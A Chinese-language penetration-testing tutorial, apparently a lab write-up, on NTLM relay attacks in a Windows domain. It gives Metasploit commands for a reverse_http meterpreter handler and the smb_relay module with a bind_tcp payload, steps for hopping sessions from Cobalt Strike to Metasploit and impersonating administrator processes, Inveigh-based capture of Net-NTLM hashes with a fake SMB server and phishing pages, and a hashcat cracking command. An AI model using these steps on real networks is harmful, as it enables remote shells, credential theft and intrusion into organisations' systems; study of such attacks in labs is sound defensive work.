ps ##查看运行进程
- 在了解与NLTM认证相关的安全问题之前,我们先来了解一下Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay等几种安全问题。在之前的文章中已经复现了PTH攻击,可以使用mimikatz、impacket工具包的脚本和CS等工具进行利用。NTLM Relay包括relay to smb、ldap、ews等,可以在无法获取明文或HASH的情况下使用。但是需要注意手法的必要条件。
1.1. 在CS或MSF中切换权限是常见的操作。通常我们的目标是将普通用户提权到system权限,但有时需要使用administrator权限,这可能导致我们无法连接会话。需要注意的是,低权限会话无法切换到高权限,但高权限可以切换到低权限,例如system权限可以切换到administrator权限,但无法切换到webadmin权限。
简单来说,我们需要获取最高权限才能降低权限。
1.1.1. 在CS会话中切换权限,首先使用高权限会话查看进程,观察是否有administrator权限的进程在运行,然后记录该进程的PID值,然后切换到该PID即可。
1.1.1.1. 查看进程,我已经提前展示了我的权限是system权限,然后使用ps命令查看了运行中的administrator权限进程,我发现一个PID为2336的进程。
1.1.1.2. 切换权限,可以看到我成功切换了权限。
1.1.2. 在MSF会话中切换权限,操作与CS类似,也是查看进程并记录PID,然后切换到该PID。只是切换命令略有不同。
- NTLM中继攻击-Relay重放-SMB上线,在使用Relay重放时,需要满足一个前提条件,即通信双方的账户和密码必须一致。例如,Windows Server 2012 DC中有administrator/admin@123,同时Windows Server 2008域内主机虽然登录的是0day/webadmin,但如果其中的administrator账户和密码与DC一致,那么就可以进行访问,因为访问时默认使用当前账户密码与对方账户密码进行校验。
2.1. 案例测试,我们对DC进行了测试,配置如下:
从上述配置可以看出,密码都是一样的,只有账户存在不同。接下来进行测试,看是否验证了之前的说法。
2.1.1. 同账户密码测试,我将域内主机切换到administrator进行测试,根据条件,域控DC和域内主机使用相同的账户密码,可以看到直接访问成功,没有出现错误。
2.1.2. 不同账户同密码测试,我将域内主机切换到webadmin进行测试,根据条件,目前使用的是不同的账户,但密码是相同的,可以看到被拒绝访问,这可能是域控设置权限的问题。
CS:新建会话,会话选择监听的那个MSF,也可以使用命令:spawn msf
MSF:设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 3010
run
2.2. CS联动MSF测试,首先让域内主机上线CS,由于CS中没有相应的功能,需要使用联动MSF进行测试,并将传输过来的会话提权到system权限进行执行。关于CS的上线操作这里不再赘述。
2.2.1. CS转发MSF上线,上篇文章已经介绍了CS转发MSF上线的方法,这里直接看操作。
2.2.1.1. 案例操作,注意先运行CS,然后再进行操作,否则可能无法监听。
2.2.1.2. 添加路由,由于域控在内网中,需要为会话添加相应的路由,以便MSF能够连接域内主机。
2.2.2. 重放模块攻击,需要使用SMB重放模块进行攻击。在查看下面的操作后再看图,就能理解了。同样,前提条件是账号密码相同才能成功利用,否则无法利用。
use exploit/windows/smb/smb_relay
set smbhost 192.168.3.142 #攻击目标
set lhost 192.168.10.20 #设置本地 IP
set autorunscript post/windows/manage/migrate
set payload windows/meterpreter/bind_tcp ##设置正向连接
set rhost 192.168.3.142 #设置连接目标
run
2.2.2.1. 模块设置,这里我并未成功,只返回了hash值,但会话并未建立起来。我查询了一下,发现很多文章都未成功,有人说64位系统未成功,但32位系统成功了,这可能是32位系统的限制。另外,更新的msf可能存在一个小bug导致模块无法成功利用。
2.2.2.2. 访问设置,需要在被控主机上访问攻击主机地址。简单来说,被控主机访问攻击机,将自身的账号密码发送给攻击机,让攻击机获取账号密码后再访问域控,实现攻击机中继拦截上线。同时需要注意使用administrator权限进行操作。
- NTLM中继攻击-Inveigh嗅探-Hash破解,这种攻击方式是在被控主机上伪造一个SMB服务器。当内网中的主机访问被控主机时,内网主机首先访问伪造的SMB服务器,然后伪造的SMB服务器将访问流量重放给被控主机。在这个过程中,内网主机对应用户的账号和密码的hash值都被伪造的SMB服务器获取。
Inveigh嗅探和hash破解是实现这种攻击的工具。由于我的虚拟机中没有安装.net3.5,无法安装这些工具,所以这里只是借鉴别人的描述,操作非常简单,所以我懒得弄了。
3.1. 开启监听,不建议在本地监听,容易出问题。可以将工具上传到被控服务器上,如果被杀毒软件删除,那么只能在本地监听了。需要注意的是,开启监听时,内网主机必须访问被监听的主机,例如,如果要监控的主机是域控,那么域内主机必须访问域控的SMB才能监听到。
3.2. 开始拦截,需要访问的是被监听的域内主机,否则无法获取到信息。
3.3. 钓鱼页面,可能存在一个问题,就是我平时不访问域控主机,而且域内用户也不会进行这些操作。所以需要设置一个钓鱼页面,挂载在内部的web服务器上,或者主动发送给域内主机。
hashcat -m 5600 hash1 pass2.txt --show